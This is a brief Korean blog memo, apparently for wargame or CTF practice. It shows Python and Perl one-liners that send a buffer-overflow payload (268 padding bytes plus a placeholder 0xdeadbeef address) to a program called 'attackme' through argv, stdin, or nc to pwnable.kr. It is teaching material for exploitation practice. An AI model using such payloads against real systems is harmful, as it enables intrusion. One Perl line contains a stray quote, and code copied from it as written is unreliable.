본문 바로가기

Develop

Python, Perl Bufferover Flow 인자 전달 명령어 Command Line command

까먹을 것 같아서 정리해둡니다.


프로그램에서 인자를 전달 받는 방법은 2가지가 있는데 프로그램 실행시 동시에 입력받는 argv 및 프로그램 실행 후 


코드내에서 gets나 scanf를 이용하여 받는 방법이 있습니다.


이때 268개의 A와 0xdeadbeef의 인자를 attackme라는 프로그램에 전달한다고 가정 하겠습니다.


  #프로그램 실행시 인자 전달 방법(argv)





Python 


$ ./attackme $(python -c 'print "A"*268 + "\xef\xbe\xad\xde"')




Perl



$ ./attackme $(perl -e 'print "A"x268 . "\xef\xbe\xad\xde"')







  #프로그램 실행 후 인자 전달 방법(gets, scanf 등)





Python 


$ (python -c 'import sys ; sys.stdout.write("A"*268+"\xef\xbe\xad\xde")' ;cat) | ./attackme

$ (python -c 'print "A"*268 + "\xef\xbe\xad\xde"' ;cat ) | ./attackme




Perl



$ (perl -e 'print "A"x268" . "\xef\xbe\xad\xde" ;cat) | ./attackme 




  #nc 인자 전달 방법





Python 


$ (python -c 'import sys ; sys.stdout.write("A"*268+"\xef\xbe\xad\xde")' ;cat) | nc pwnable.kr 1234

$ (python -c 'print "A"*268 + "\xef\xbe\xad\xde"' ;cat ) | nc pwnable.kr 12345




참조 : https://stackoverflow.com/questions/40320376/why-my-exploit-in-perl-work-but-it-doesnt-in-python